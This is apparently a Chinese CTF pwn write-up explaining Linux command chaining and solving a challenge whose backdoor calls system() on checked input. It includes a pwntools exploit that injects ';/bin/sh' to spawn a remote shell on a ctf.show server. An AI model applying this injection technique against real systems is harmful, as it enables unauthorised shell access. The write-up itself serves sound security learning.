pwn杂项之linux命令执行
通常pwn题目,时常会考到对Linux命令的一些使用,比如当cat被禁用的时候,可以使用tac,或者别的命令代替
下面是buu上的应该题目,考察的就是对liunx命令的理解,以及对程序的分析。
扩展:1.当我们输入第一个命令之后加上;然后后面加上第二个命令,那么就会先执行第一个命令再执行第二个命令,即使第一个命令不合法也可以执行第二个
2.当我们输入第一个命令之后加上&&,然后后面加上第二个命令,那么就会先执行第一个命令如果第一个命令为真再执行第二个命令,否则不会执行
3.当我们输入第一个命令之后加上||,然后后面加上第二个命令,那么就会先执行第一个命令如果第一个命令为真就不会执行第二个命令,否则会执行
1.当拿到题目的时候,先看有没有给libc什么的,如果给了,首先先把题目的libc换上,然后再进行下一步,当然对于这一个题目首先查看保护

2.处于一个保护全开的状态,其实对于这种保护全开的题目,要么程序里面给了后门,要么这是个堆题,64位ida载入一下


可以看见程序确实留的有后门,现在进行逐步分析

v3是command的指针,v4是command的首地址

这里就是我们对command里面进行赋值,不过是要输入数字,%d,4个单元为一个元素

这里进行遍历把* v3里面每个元素都加了0x1bf52

v8里面放的是这个

这里进行判断输入command的东西是不是等于v8里面的东西,如果不是就退出,而且如果最后循环结束的时候*v8指向的字符串不是'0'的时候就不会执行system(command)。
思路是,首先输入的东西肯定要包含v8里面的东西,然后就是加上/bin/sh\x00\x00,\x00的作用就是进行绕过,不让程序退出,然后就会执行PvvN| 1S S0 GREAT!/bin/sh,但是这个啥也不是啊,别忘了linux里面的命令特点,当我们输入第一个命令之后加上;然后后面加上第二个命令,那么就会先执行第一个命令再执行第二个命令,即使第一个命令不合法也没事,那么就是PvvN| 1S S0 GREAT!;/bin/sh,但是前面将每一个元素加了0x1BF52,我们需要减去,然后就是输入对应的ascii码
可以使用u32或者u64进行输入,返回的是int类型的ascii码。
Exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = remote('pwn.challenge.ctf.show',28180)
payload = b'PvvN| 1S S0 GREAT!;/bin/sh\x00\x00'
print(len(payload))
for i in range(7):
n=i*4
io.sendline(str(u32(payload[n:n+4])-0x1BF52))
io.interactive()
pwn杂项之linux命令执行的更多相关文章
- Linux命令执行顺序— ||和&&和; 比较
Linux命令执行顺序— ||和&&和; command1 && command2: &&左边的command1执行成功(返回0表示成功)后,& ...
- Java调用Linux命令执行
调用方式 Java调用linux命令执行的方式有两种,一种是直接调用linux命令,一种是将linux命令写到.sh脚本中,然后调用脚本执行. 详细说明 直接调用:使用java中lang包下面的Run ...
- Linux命令执行过程
目录 一.命令分类 二.命令执行顺序 三.命令分类及查找基本命令 四.命令执行过程 一.命令分类 Linux命令分为两类,具体为内部命令和外部命令 内部命令: 指shell内部集成的命令,此类命令无需 ...
- Linux命令执行顺序— ||和&&和;
command1 && command2: &&左边的command1执行成功(返回0表示成功)后,&&右边的command2才能被执行. comman ...
- Linux命令执行的屏幕输出内容重定向到日志文件
摘要: 作者:Syn良子 出处:http://www.cnblogs.com/cssdongl 转载请注明出处 快速mark一下这个命令细节,免得以后使用又忘记了 大家都知道可以用echo来输出内容到 ...
- Linux命令执行顺序与管道命令
命令执行顺序控制 顺序执行多条命令:command1;command2;command3... 有选择执行命令:which command1 && command2 || comman ...
- linux命令执行返回值(附错误对照表)
转自:http://blog.sina.com.cn/s/blog_6739945f0100zt4b.html 在 Linux 下,不管你是启动一个桌面程序也好,还是在控制台下运行命令,所有的程序在结 ...
- LInux命令执行http请求
Linux下提供了一些命令可以直接执行http请求,下面举例来介绍几个命令. http // GET请求 http http://127.0.0.1:2379/version http GET htt ...
- Linux 命令执行结果输出到屏幕的同时写入到文件中
tee命令可以做到这一点: 例:ls -al /home | tee log 就可以把命令输出的内容显示在屏幕上的同时也输出至文件log.
- 用linux 命令 执行ci框架的方法
最近要跑一个数据量比较大的脚本,刚开始在浏览器页面访问发行nginx 5.4 超时, 又不想去修改nginx的连接时间,只能在服务器执行了, 执行方法:进入到ci 的根目录:#php index.ph ...
随机推荐
- CabloyJS 4.22重磅推出弹出式页面交互风格
升级说明 我们知道CabloyJS提供了pc=mobile+pad自适应布局机制,可以通过一套代码同时适配mobile端和pc端.基本思路就是优先适配mobile端,然后再把mobile端的交互体验带 ...
- webpack 配置热更新
正文 代码 const path=require('path'); module.exports={ devtool:'', entry:{ entry:'./src/entry.js', entry ...
- 重新整理linux 系列 ——硬件的介绍(一)
前言 打算重新整理linux,计划每天一更,希望能够按照计划执行吧. 正文 首先有一个疑惑,那就是一台手机是否是一台计算机? 来看下什么可以定义为一台计算机: 计算机为接收用户的输入,经由中央处理器的 ...
- Sarsa模型和Q_learning模型简记
1. Sarsa模型 1.1 Sarsa类代码: class SarsaAgent(object): def __init__(self,state_n,action_n,learning_rate= ...
- Spring 源码阅读(一)环境搭建
注意事项: 使用 2024-03-14 发布的 Spring 5.3.33 版本 IDE 工具使用了 Intellij IDEA,同时为了简化不必要的内容没单独配置 Gradle 环境 JDK 版本采 ...
- 3.CSS三种基本选择器
三种选择器的优先级: id选择器 > class选择器 > 标签选择器 1.标签选择器:会选择到页面上所有的该类标签的元素 格式: 标签{} 1 <!DOCTYPE html> ...
- 力扣541(java)-反转字符串Ⅱ(简单)
题目: 给定一个字符串 s 和一个整数 k,从字符串开头算起,每计数至 2k 个字符,就反转这 2k 字符中的前 k 个字符. 如果剩余字符少于 k 个,则将剩余字符全部反转.如果剩余字符小于 2k ...
- 第 10 章 使用pyecharts 进行数据展示
第 10 章 使用pyecharts 进行数据展示 10.1 安装 pyecharts pyecharts 是一个用于生成 Echarts 图表的类库, Echarts 是百度开源的一个数据可视化JS ...
- 阿里开源支持10万亿模型的自研分布式训练框架EPL(EasyParallelLibrary)
简介:EPL背后的技术框架是如何设计的?开发者可以怎么使用EPL?EPL未来有哪些规划?今天一起来深入了解. 作者 | 王林.飒洋 来源 | 阿里技术公众号 一 导读 最近阿里云机器学习PAI平 ...
- 阿里 & 蚂蚁自研 IDE 研发框架 OpenSumi 正式开源
简介:经历近 3 年时间,在阿里集团及蚂蚁集团共建小组的努力下,OpenSumi 作为国内首个强定制性.高性能,兼容 VS Code 插件体系的 IDE 研发框架,今天正式对外开源. 作者 | ...